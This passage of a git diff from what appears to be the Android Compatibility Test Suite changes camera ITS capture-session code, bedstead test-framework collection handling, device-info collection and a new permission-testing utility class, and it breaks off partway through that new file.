- /*callback =*/ null, zoomRatio, aeTargetFpsMin, aeTargetFpsMax);
+ /*callback =*/ null, zoomRatio, aeTargetFpsMin, aeTargetFpsMax,
+ scalerCropRegionListener);
} catch (android.hardware.camera2.CameraAccessException e) {
throw new ItsException("Access error: ", e);
}
@@ -2561,7 +2575,7 @@ public class ItsService extends Service implements SensorEventListener {
int recordingDuration, boolean stabilize, double zoomRatio,
int aeTargetFpsMin, int aeTargetFpsMax)
throws ItsException {
-
+ ScalerCropRegionListener scalerCropRegionListener = new ScalerCropRegionListener();
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.TIRAMISU) {
throw new ItsException("Cannot record preview before API level 33");
}
@@ -2591,7 +2605,8 @@ public class ItsService extends Service implements SensorEventListener {
: CaptureRequest.CONTROL_VIDEO_STABILIZATION_MODE_OFF;
configureAndCreateCaptureSession(CameraDevice.TEMPLATE_PREVIEW,
pr.getCameraSurface(), stabilizationMode, DynamicRangeProfiles.STANDARD,
- /*callback=*/ null, zoomRatio, aeTargetFpsMin, aeTargetFpsMax);
+ /*stateCallback=*/ null, zoomRatio, aeTargetFpsMin, aeTargetFpsMax,
+ scalerCropRegionListener);
pr.recordPreview(recordingDuration * 1000L);
mSession.close();
} catch (CameraAccessException e) {
@@ -2602,6 +2617,8 @@ public class ItsService extends Service implements SensorEventListener {
// Send VideoRecordingObject for further processing.
VideoRecordingObject obj = new VideoRecordingObject(outputFilePath, /* quality= */"preview",
videoSize, fileFormat, zoomRatio);
+ obj.addMetadata("SCALER_CROP_REGION",
+ scalerCropRegionListener.mScalerCropRegion.flattenToString());
mSocketRunnableObj.sendVideoRecordingObject(obj);
}
@@ -2633,16 +2650,21 @@ public class ItsService extends Service implements SensorEventListener {
private Surface configureAndCreateExtensionSession(
Surface captureSurface,
int extension,
- CameraExtensionSession.StateCallback stateCallback) throws ItsException {
+ CameraExtensionSession.StateCallback stateCallback,
+ boolean has10bitOutput) throws ItsException {
int captureWidth = mOutputImageReaders[0].getWidth();
int captureHeight = mOutputImageReaders[0].getHeight();
Size captureSize = new Size(captureWidth, captureHeight);
Log.i(TAG, "Capture size: " + captureSize.toString());
ArrayList outputConfig = new ArrayList<>();
- SurfaceTexture preview = new SurfaceTexture(/*random int*/ 1);
Size previewSize = pickPreviewResolution(captureSize, extension);
- preview.setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
- Surface previewSurface = new Surface(preview);
+ mExtensionPreviewImageReader = ImageReader.newInstance(
+ previewSize.getWidth(),
+ previewSize.getHeight(),
+ ImageFormat.PRIVATE,
+ MAX_CONCURRENT_READER_BUFFERS,
+ HardwareBuffer.USAGE_CPU_READ_OFTEN | HardwareBuffer.USAGE_COMPOSER_OVERLAY);
+ Surface previewSurface = mExtensionPreviewImageReader.getSurface();
outputConfig.add(new OutputConfiguration(captureSurface));
outputConfig.add(new OutputConfiguration(previewSurface));
ExtensionSessionConfiguration extSessionConfig = new ExtensionSessionConfiguration(
@@ -2661,7 +2683,8 @@ public class ItsService extends Service implements SensorEventListener {
private void configureAndCreateCaptureSession(int requestTemplate, Surface recordSurface,
int videoStabilizationMode, long dynamicRangeProfile,
CameraCaptureSession.StateCallback stateCallback,
- double zoomRatio, int aeTargetFpsMin, int aeTargetFpsMax) throws CameraAccessException {
+ double zoomRatio, int aeTargetFpsMin, int aeTargetFpsMax,
+ CameraCaptureSession.CaptureCallback captureCallback) throws CameraAccessException {
assert (recordSurface != null);
// Create capture request builder
mCaptureRequestBuilder = mCamera.createCaptureRequest(requestTemplate);
@@ -2713,7 +2736,8 @@ public class ItsService extends Service implements SensorEventListener {
public void onConfigured(CameraCaptureSession session) {
mSession = session;
try {
- mSession.setRepeatingRequest(mCaptureRequestBuilder.build(), null, null);
+ mSession.setRepeatingRequest(mCaptureRequestBuilder.build(),
+ captureCallback, mResultHandler);
} catch (CameraAccessException e) {
e.printStackTrace();
}
@@ -2924,28 +2948,33 @@ public class ItsService extends Service implements SensorEventListener {
JSONArray jsonOutputSpecs = ItsUtils.getOutputSpecs(params);
- prepareImageReadersWithOutputSpecs(jsonOutputSpecs, /*inputSize*/null,
- /*inputFormat*/0, /*maxInputBuffers*/0, /*backgroundRequest*/ false);
+ boolean has10bitOutput = prepareImageReadersWithOutputSpecs(jsonOutputSpecs,
+ /*inputSize*/null, /*inputFormat*/0, /*maxInputBuffers*/0,
+ /*backgroundRequest*/ false);
numSurfaces = mOutputImageReaders.length;
numCaptureSurfaces = numSurfaces;
Surface previewSurface = configureAndCreateExtensionSession(
mOutputImageReaders[0].getSurface(),
extension,
- sessionListener);
+ sessionListener,
+ has10bitOutput);
mExtensionSession = sessionListener.waitAndGetSession(TIMEOUT_IDLE_MS);
CaptureRequest.Builder captureBuilder = requests.get(0);
if (params.optBoolean("waitAE", true)) {
- // Set repeating request and wait for AE convergence.
+ if (mExtensionPreviewImageReader == null) {
+ throw new ItsException("Preview ImageReader has not been initialized!");
+ }
+ // Set repeating request and wait for AE convergence, using another ImageReader.
Logt.i(TAG, "Waiting for AE to converge before taking extensions capture.");
- captureBuilder.addTarget(previewSurface);
+ captureBuilder.addTarget(mExtensionPreviewImageReader.getSurface());
ImageReader.OnImageAvailableListener dropperListener =
createAvailableListenerDropper();
- mOutputImageReaders[0].setOnImageAvailableListener(dropperListener,
- mSaveHandlers[0]);
+ mExtensionPreviewImageReader.setOnImageAvailableListener(dropperListener,
+ mSaveHandlers[0]);
mExtensionSession.setRepeatingRequest(captureBuilder.build(),
new HandlerExecutor(mResultHandler),
mExtAEResultListener);
@@ -2953,7 +2982,7 @@ public class ItsService extends Service implements SensorEventListener {
long timeout = TIMEOUT_CALLBACK * 1000;
waitForCallbacks(timeout);
mExtensionSession.stopRepeating();
- captureBuilder.removeTarget(previewSurface);
+ captureBuilder.removeTarget(mExtensionPreviewImageReader.getSurface());
mResultThread.sleep(PIPELINE_WARMUP_TIME_MS);
}
@@ -2969,6 +2998,11 @@ public class ItsService extends Service implements SensorEventListener {
long timeout = TIMEOUT_CALLBACK * 1000;
waitForCallbacks(timeout);
+ if (mExtensionPreviewImageReader != null) {
+ mExtensionPreviewImageReader.close();
+ mExtensionPreviewImageReader = null;
+ }
+
// Close session and wait until session is fully closed
mExtensionSession.close();
sessionListener.getStateWaiter().waitForState(
@@ -3669,6 +3703,41 @@ public class ItsService extends Service implements SensorEventListener {
}
}
+ private class ScalerCropRegionListener extends CaptureResultListener {
+ private volatile Rect mScalerCropRegion = null;
+
+ @Override
+ public void onCaptureStarted(CameraCaptureSession session, CaptureRequest request,
+ long timestamp, long frameNumber) {
+ }
+
+ @Override
+ public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request,
+ TotalCaptureResult result) {
+ try {
+ if (request == null || result == null) {
+ throw new ItsException("Request/Result is invalid");
+ }
+
+ Logt.i(TAG, buildLogString(result));
+
+ if (result.get(CaptureResult.SCALER_CROP_REGION) != null) {
+ mScalerCropRegion = result.get(CaptureResult.SCALER_CROP_REGION);
+ }
+
+ } catch (ItsException e) {
+ throw new ItsRuntimeException("Error handling capture result", e);
+ }
+ }
+
+ @Override
+ public void onCaptureFailed(CameraCaptureSession session, CaptureRequest request,
+ CaptureFailure failure) {
+ Logt.e(TAG, "Script error: capture failed");
+ }
+
+ }
+
private class AutoframingResultListener extends CaptureResultListener {
private volatile boolean mStopped = false;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index a6977732edd..8f3d0258ba8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -636,7 +636,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct
}
// setUsbDataSignalingEnabled
- if (canUsbDataSignalingBeDisabled()) {
+ if (!FeatureUtil.isTelevision(this) && canUsbDataSignalingBeDisabled()) {
adapter.add(createInteractiveTestItem(this, DISABLE_USB_DATA_SIGNALING_TEST_ID,
R.string.device_owner_disable_usb_data_signaling_test,
R.string.device_owner_disable_usb_data_signaling_test_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxOffsetPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxOffsetPrecisionActivity.java
index f18f84f1b58..c1589f6f3a5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxOffsetPrecisionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxOffsetPrecisionActivity.java
@@ -54,7 +54,7 @@ public class BleRxTxOffsetPrecisionActivity extends PassFailButtons.Activity {
// Thresholds
private static final int MIN_RSSI_MEDIAN_DBM = -65;
- private static final int MAX_RSSI_MEDIAN_DBM = -45;
+ private static final int MAX_RSSI_MEDIAN_DBM = -35;
private boolean isReferenceDevice;
private BleScanner mBleScanner;
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
index 23919f34fcc..e0f53be0392 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
@@ -61,6 +61,7 @@ import com.android.queryable.annotations.Query;
import com.google.auto.value.AutoAnnotation;
import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableSet;
import org.junit.Test;
import org.junit.rules.TestRule;
@@ -693,7 +694,7 @@ public final class BedsteadJUnit4 extends BlockJUnit4ClassRunner {
}
if (enterprisePolicy.delegatedScopes().length > 0) {
- Set<String> newDelegatedScopes = Set.of(enterprisePolicy.delegatedScopes());
+ ImmutableSet<String> newDelegatedScopes = ImmutableSet.copyOf(enterprisePolicy.delegatedScopes());
if (!delegatedScopes.isEmpty()
&& !delegatedScopes.containsAll(newDelegatedScopes)) {
throw new IllegalStateException("Cannot merge multiple policies which define "
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index ddfc0cd303c..1e6bdbe8ab8 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -4030,14 +4030,14 @@ public final class DeviceState extends HarrierRule {
.findFirst();
if (account.isPresent()) {
- accounts(onUser).setFeatures(account.get(), Set.of(features));
+ accounts(onUser).setFeatures(account.get(), new HashSet<>(Arrays.asList(features)));
mAccounts.put(key, account.get());
TestApis.devicePolicy().calculateHasIncompatibleAccounts();
return account.get();
}
AccountReference createdAccount = accounts(onUser).addAccount()
- .features(Set.of(features))
+ .features(new HashSet<>(Arrays.asList(features)))
.add();
mCreatedAccounts.add(createdAccount);
mAccounts.put(key, createdAccount);
@@ -4182,7 +4182,7 @@ public final class DeviceState extends HarrierRule {
private boolean trySetUserRestrictionWithDeviceOwner(String restriction) {
ensureHasDeviceOwner(FailureMode.FAIL,
/* isPrimary= */ false, EnsureHasDeviceOwner.HeadlessDeviceOwnerType.NONE,
- /* affiliationIds= */ Set.of(), /* type= */ DeviceOwnerType.DEFAULT,
+ /* affiliationIds= */ new HashSet<>(), /* type= */ DeviceOwnerType.DEFAULT,
EnsureHasDeviceOwner.DEFAULT_KEY, new TestAppProvider().query());
RemotePolicyManager dpc = deviceOwner();
@@ -4200,7 +4200,7 @@ public final class DeviceState extends HarrierRule {
private boolean trySetUserRestrictionWithProfileOwner(UserReference onUser, String restriction) {
ensureHasProfileOwner(onUser,
/* isPrimary= */ false, /* isParentInstance= */ false,
- /* affiliationIds= */ Set.of(), EnsureHasProfileOwner.DEFAULT_KEY,
+ /* affiliationIds= */ new HashSet<>(), EnsureHasProfileOwner.DEFAULT_KEY,
new TestAppProvider().query());
RemotePolicyManager dpc = profileOwner(onUser);
@@ -4218,7 +4218,7 @@ public final class DeviceState extends HarrierRule {
private boolean tryClearUserRestrictionWithDeviceOwner(String restriction) {
ensureHasDeviceOwner(FailureMode.FAIL,
/* isPrimary= */ false, EnsureHasDeviceOwner.HeadlessDeviceOwnerType.NONE,
- /* affiliationIds= */ Set.of(), /* type= */ DeviceOwnerType.DEFAULT,
+ /* affiliationIds= */ new HashSet<>(), /* type= */ DeviceOwnerType.DEFAULT,
EnsureHasDeviceOwner.DEFAULT_KEY, new TestAppProvider().query());
RemotePolicyManager dpc = deviceOwner();
@@ -4236,7 +4236,7 @@ public final class DeviceState extends HarrierRule {
private boolean tryClearUserRestrictionWithProfileOwner(UserReference onUser, String restriction) {
ensureHasProfileOwner(onUser,
/* isPrimary= */ false, /* isParentInstance= */ false,
- /* affiliationIds= */ Set.of(), EnsureHasProfileOwner.DEFAULT_KEY,
+ /* affiliationIds= */ new HashSet<>(), EnsureHasProfileOwner.DEFAULT_KEY,
new TestAppProvider().query());
RemotePolicyManager dpc = profileOwner(onUser);
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
index c519b7ac862..a63932d617a 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
@@ -439,11 +439,11 @@ public final class Policy {
existingAnnotations.length + 1);
newAnnotations[newAnnotations.length - 1] = ensureHasDevicePolicyManagerRoleHolder(
roleHolderUser, /* isPrimary= */ true);
- return Set.of(annotation,
+ return new HashSet<>(Arrays.asList(annotation,
new DynamicParameterizedAnnotation(
annotation.annotationType().getSimpleName() + "_DPMRH",
newAnnotations
- ));
+ )));
};
}
@@ -894,7 +894,7 @@ public final class Policy {
for (Annotation annotation : annotations) {
shadowingAnnotations.addAll(
- sReverseShadowMap.getOrDefault(annotation.annotationType(), Set.of()));
+ sReverseShadowMap.getOrDefault(annotation.annotationType(), new HashSet<>()));
}
annotations.removeIf(a -> shadowingAnnotations.contains(a.annotationType()));
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/accounts/AccountBuilder.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/accounts/AccountBuilder.java
index 0a4930f930c..26b2127757c 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/accounts/AccountBuilder.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/accounts/AccountBuilder.java
@@ -25,6 +25,7 @@ import com.android.bedstead.nene.utils.Poll;
import java.io.IOException;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;
import java.util.UUID;
@@ -102,7 +103,7 @@ public final class AccountBuilder {
* Add features to the account.
*/
public AccountBuilder addFeatures(String... feature) {
- mFeatures.addAll(Set.of(feature));
+ mFeatures.addAll(new HashSet<>(Arrays.asList(feature)));
return this;
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
index 9c257af607f..8406a80b440 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
@@ -59,6 +59,7 @@ import com.android.bedstead.nene.utils.Versions;
import java.time.Duration;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.Collection;
import java.util.Comparator;
import java.util.HashMap;
@@ -338,7 +339,7 @@ public final class Users {
private UserType managedProfileUserType() {
UserType.MutableUserType managedProfileMutableUserType = new UserType.MutableUserType();
managedProfileMutableUserType.mName = MANAGED_PROFILE_TYPE_NAME;
- managedProfileMutableUserType.mBaseType = Set.of(UserType.BaseType.PROFILE);
+ managedProfileMutableUserType.mBaseType = new HashSet<>(Arrays.asList(UserType.BaseType.PROFILE));
managedProfileMutableUserType.mEnabled = true;
managedProfileMutableUserType.mMaxAllowed = -1;
managedProfileMutableUserType.mMaxAllowedPerParent = 1;
@@ -349,7 +350,7 @@ public final class Users {
UserType.MutableUserType managedProfileMutableUserType = new UserType.MutableUserType();
managedProfileMutableUserType.mName = SYSTEM_USER_TYPE_NAME;
managedProfileMutableUserType.mBaseType =
- Set.of(UserType.BaseType.FULL, UserType.BaseType.SYSTEM);
+ new HashSet<>(Arrays.asList(UserType.BaseType.FULL, UserType.BaseType.SYSTEM));
managedProfileMutableUserType.mEnabled = true;
managedProfileMutableUserType.mMaxAllowed = -1;
managedProfileMutableUserType.mMaxAllowedPerParent = -1;
@@ -359,7 +360,7 @@ public final class Users {
private UserType secondaryUserType() {
UserType.MutableUserType managedProfileMutableUserType = new UserType.MutableUserType();
managedProfileMutableUserType.mName = SECONDARY_USER_TYPE_NAME;
- managedProfileMutableUserType.mBaseType = Set.of(UserType.BaseType.FULL);
+ managedProfileMutableUserType.mBaseType = new HashSet<>(Arrays.asList(UserType.BaseType.FULL));
managedProfileMutableUserType.mEnabled = true;
managedProfileMutableUserType.mMaxAllowed = -1;
managedProfileMutableUserType.mMaxAllowedPerParent = -1;
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java
index d05e0914027..603bdaa3f22 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java
@@ -22,6 +22,8 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
+import java.util.Arrays;
+import java.util.HashSet;
import java.util.Set;
@RunWith(JUnit4.class)
@@ -50,7 +52,7 @@ public class UserTypeTest {
@Test
public void baseType_returnsBaseType() {
UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
- mutableUserType.mBaseType = Set.of(UserType.BaseType.FULL);
+ mutableUserType.mBaseType = new HashSet<>(Arrays.asList(UserType.BaseType.FULL));
UserType userType = new UserType(mutableUserType);
assertThat(userType.baseType()).containsExactly(UserType.BaseType.FULL);
diff --git a/common/device-side/bedstead/remoteaccountauthenticator/src/main/java/com/android/bedstead/remoteaccountauthenticator/RemoteAccountAuthenticator.java b/common/device-side/bedstead/remoteaccountauthenticator/src/main/java/com/android/bedstead/remoteaccountauthenticator/RemoteAccountAuthenticator.java
index 9c813c15dc6..47caa4df661 100644
--- a/common/device-side/bedstead/remoteaccountauthenticator/src/main/java/com/android/bedstead/remoteaccountauthenticator/RemoteAccountAuthenticator.java
+++ b/common/device-side/bedstead/remoteaccountauthenticator/src/main/java/com/android/bedstead/remoteaccountauthenticator/RemoteAccountAuthenticator.java
@@ -31,6 +31,8 @@ import com.android.bedstead.testapp.TestAppProvider;
import java.io.IOException;
import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
import java.util.Set;
import java.util.stream.Collectors;
import java.util.stream.Stream;
@@ -42,9 +44,9 @@ import java.util.stream.Stream;
public final class RemoteAccountAuthenticator extends TestAppInstance {
// TODO(263350665): Query account types from xml
- private static final Set<String> ACCOUNT_TYPES = Set.of(
+ private static final Set<String> ACCOUNT_TYPES = new HashSet<>(Arrays.asList(
"com.android.bedstead.remoteaccountauthenticator.account"
- );
+ ));
private static final String REMOTE_ACCOUNT_AUTHENTICATOR_PACKAGE_NAME =
"com.android.RemoteAccountAuthenticator";
diff --git a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticator.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticator.java
index 558215ee20b..6ed639d119e 100644
--- a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticator.java
+++ b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticator.java
@@ -26,6 +26,7 @@ import android.os.Bundle;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.HashSet;
import java.util.Set;
/**
@@ -132,7 +133,7 @@ public final class TestAppAccountAuthenticator extends AbstractAccountAuthentica
hasFeatures = false;
} else {
hasFeatures = Arrays.asList(accountManager.getUserData(account, "features")
- .split(",")).containsAll(Set.of(features));
+ .split(",")).containsAll(new HashSet<>(Arrays.asList(features)));
}
Bundle result = new Bundle();
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java
index a44127474fc..20ddca1b778 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java
@@ -18,17 +18,23 @@ package com.android.compatibility.common.deviceinfo;
import android.app.Activity;
import android.content.Context;
import android.content.res.Configuration;
+import android.hardware.devicestate.DeviceStateManager;
+import android.os.Build;
import android.os.Bundle;
-import android.server.wm.jetpack.utils.SidecarUtil;
import android.server.wm.jetpack.utils.ExtensionUtil;
+import android.server.wm.jetpack.utils.SidecarUtil;
import android.server.wm.jetpack.utils.Version;
import android.util.DisplayMetrics;
import android.view.Display;
import android.view.WindowManager;
+import androidx.annotation.RequiresApi;
+
import com.android.compatibility.common.util.DeviceInfoStore;
import com.android.compatibility.common.util.DummyActivity;
+import java.io.IOException;
+
/**
* Screen device info collector.
*/
@@ -39,6 +45,7 @@ public final class ScreenDeviceInfo extends DeviceInfo {
DisplayMetrics metrics = new DisplayMetrics();
WindowManager windowManager =
(WindowManager) getContext().getSystemService(Context.WINDOW_SERVICE);
+
Display display = windowManager.getDefaultDisplay();
display.getRealMetrics(metrics);
@@ -55,6 +62,11 @@ public final class ScreenDeviceInfo extends DeviceInfo {
// Add WindowManager Jetpack Library version and available display features.
addDisplayFeaturesIfPresent(store);
+
+ // Add device states from DeviceStateManager if available.
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
+ addDeviceStatesIfAvailable(store);
+ }
}
private void addDisplayFeaturesIfPresent(DeviceInfoStore store) throws Exception {
@@ -85,6 +97,17 @@ public final class ScreenDeviceInfo extends DeviceInfo {
}
}
+ @RequiresApi(Build.VERSION_CODES.S)
+ private void addDeviceStatesIfAvailable(DeviceInfoStore store) throws IOException {
+ DeviceStateManager deviceStateManager = getContext().getSystemService(
+ DeviceStateManager.class);
+
+ // Get the supported device states on device if DeviceStateManager is available
+ if (deviceStateManager != null) {
+ store.addArrayResult("device_states", deviceStateManager.getSupportedStates());
+ }
+ }
+
private static String getScreenSize(Configuration configuration) {
int screenLayout = configuration.screenLayout & Configuration.SCREENLAYOUT_SIZE_MASK;
String screenSize = String.format("0x%x", screenLayout);
diff --git a/common/device-side/interactive/src/main/java/com/android/interactive/Step.java b/common/device-side/interactive/src/main/java/com/android/interactive/Step.java
index abe25f18aac..faf347d571f 100644
--- a/common/device-side/interactive/src/main/java/com/android/interactive/Step.java
+++ b/common/device-side/interactive/src/main/java/com/android/interactive/Step.java
@@ -22,6 +22,8 @@ import static com.android.bedstead.nene.permissions.CommonPermissions.SYSTEM_APP
import static com.android.interactive.Automator.AUTOMATION_FILE;
import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.Looper;
import android.util.Log;
import android.view.Gravity;
import android.view.LayoutInflater;
@@ -247,27 +249,32 @@ public abstract class Step<E> {
* Adds a button to the interaction prompt.
*/
protected void addButton(String title, Runnable onClick) {
- Button btn = new Button(TestApis.context().instrumentedContext());
- btn.setText(title);
- btn.setOnClickListener(v -> onClick.run());
-
- GridLayout layout = mInstructionView.findViewById(R.id.buttons);
- layout.addView(btn);
+ // Push to UI thread to avoid animation issues when adding the button
+ new Handler(Looper.getMainLooper()).post(() -> {
+ Button btn = new Button(TestApis.context().instrumentedContext());
+ btn.setText(title);
+ btn.setOnClickListener(v -> onClick.run());
+
+ GridLayout layout = mInstructionView.findViewById(R.id.buttons);
+ layout.addView(btn);
+ });
}
/**
* Adds small button with a single up/down arrow, used for moving the text box to the
* bottom of the screen in case it covers some critical area of the app
*/
-
protected void addSwapButton() {
- Button btn = new Button(TestApis.context().instrumentedContext());
- // up/down arrow
- btn.setText("\u21F5");
- btn.setOnClickListener(v -> swap());
-
- GridLayout layout = mInstructionView.findViewById(R.id.buttons);
- layout.addView(btn);
+ // Push to UI thread to avoid animation issues when adding the button
+ new Handler(Looper.getMainLooper()).post(() -> {
+ Button btn = new Button(TestApis.context().instrumentedContext());
+ // up/down arrow
+ btn.setText("\u21F5");
+ btn.setOnClickListener(v -> swap());
+
+ GridLayout layout = mInstructionView.findViewById(R.id.buttons);
+ layout.addView(btn);
+ });
}
/**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
index 9b82b4d71e1..1470f45be39 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
@@ -116,8 +116,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
addSplitFromNonDangerousPermissions(packagesToVerify, pregrantUidStates);
}
- if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)
- || ApiLevelUtil.codenameStartsWith("T")) {
+ if ((ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)
+ || ApiLevelUtil.codenameStartsWith("T"))
+ && runtimePermNames.contains(Manifest.permission.POST_NOTIFICATIONS)) {
addImplicitlyGrantedPermission(Manifest.permission.POST_NOTIFICATIONS,
Build.VERSION_CODES.TIRAMISU, packagesToVerify, pregrantUidStates);
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PermissionUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PermissionUtils.java
new file mode 100644
index 00000000000..26f60560ce8
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PermissionUtils.java
@@ -0,0 +1,309 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.MODE_IGNORED;
+import static android.app.AppOpsManager.permissionToOp;
+import static android.content.pm.PackageManager.GET_PERMISSIONS;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.Manifest;
+import android.annotation.TargetApi;
+import android.app.AppOpsManager;
+import android.app.UiAutomation;
+import android.app.role.RoleManager;
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Assert;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Locale;
+
+/**
+ * Utility methods for permission-related functionality.
+ */
+public final class PermissionUtils {
+ private static final UiAutomation sUiAutomation =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ private static final String PLATFORM_PACKAGE_NAME = "android";
+
+ private static final String LOG_TAG = "PermissionUtils";
+
+ /**
+ * Checks if a permission is granted for a package.
+ *
+ * <p>This correctly handles pre-M apps by checking the app-ops instead.</p>
+ *
+ * @param packageName The package that might have the permission granted
+ * @param permission The permission that might be granted
+ * @return {@code true} iff the permission and app op are granted
+ */
+ public static boolean isPermissionAndAppOpGranted(@NonNull String packageName,
+ @NonNull String permission) throws Exception {
+ if (!isPermissionGranted(packageName, permission)) {
+ return false;
+ }
+ return getAppOp(packageName, permission) != MODE_IGNORED;
+ }
+
+ /**
+ * Grant a permission to an app.
+ *
+ * <p>This correctly handles pre-M apps by setting the app-ops.</p>
+ *
+ * @param packageName The app that should have the permission granted
+ * @param permission The permission to grant
+ */
+ @TargetApi(28)
+ public static void grantPermissionAndAppOp(@NonNull String packageName,
+ @NonNull String permission) {
+ sUiAutomation.grantRuntimePermission(packageName, permission);
+
+ setAppOpByPermission(packageName, permission, MODE_ALLOWED);
+ }
+
+ /**
+ * Revoke a permission from an app.
+ *
+ * <p>This correctly handles pre-M apps by setting the app-ops.</p>
+ *
+ * @param packageName The app that should have the permission revoked
+ * @param permission The permission to revoke
+ */
+ @TargetApi(28)
+ public static void revokePermissionAndAppOp(@NonNull String packageName,
+ @NonNull String permission) {
+ sUiAutomation.revokeRuntimePermission(packageName, permission);
+
